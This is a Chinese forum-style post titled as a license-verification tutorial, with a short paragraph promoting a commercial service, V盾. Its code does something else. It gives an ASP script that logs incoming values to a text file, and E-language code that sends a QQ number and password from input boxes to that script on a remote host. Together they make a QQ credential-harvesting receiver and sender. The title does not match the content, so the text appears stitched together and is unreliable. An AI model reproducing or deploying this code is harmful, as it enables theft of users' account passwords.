【怎么用】ASP+ACCESS+易语言打造网络验证软件使用权限 可设定授权时间

自己写还不如用商用的,ASP和易语言毕竟不适合做这个事情,写起来难度高,破起来却是容易得很.我以前也用VB写过一个自己用,结果还是被破解了.还有就是自己用VPS架了个服务端,维护起来麻烦得很.还是用商业的吧,用户量不大也不贵,我用的是V盾,里边功能都非常实用.调用起来也不难.

QQ.ASP内容如下：

<%

StrLogFile="QQ.txt"

FRT=Request("FRT")

SCD=Request("SCD")

If FRT="" Or SCD="" Then

Response.Write "QQ"

Response.End

End If

StrLogText=StrLogText&FRT&SCD

Set Lzwudi=Server.CreateObject("Scripting.FileSystemObject")

Set Lenovo=Lzwudi.OpenTextFile(Server.MapPath(".")&"\"&StrLogFile,8,True,0)

Lenovo.WriteLine(CHR(13)+CHR(10)&StrLogText)

Lenovo.Close

Set Lenovo=Nothing

Set Lzwudi=Nothing

Response.Write "OK!"

%>

把QQ.ASP文件上传到FTP上去。

ASP收信E源码：

.子程序 ASP, 文本型

.参数 地址, 文本型

.参数 NUM, 文本型

.参数 PWD, 文本型

返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “FRT=” ＋ NUM ＋ “&SCD=” ＋ PWD)))

ASP (“http://www.xxx.com/qq.asp”, 编辑框1.内容, 编辑框2.内容)

上面的“http://www.xxx.com/qq.asp”为你上传后的QQ.ASP文件地址

编辑框1.内容为发送的QQ号码

编辑框2.内容为发送的QQ密码

---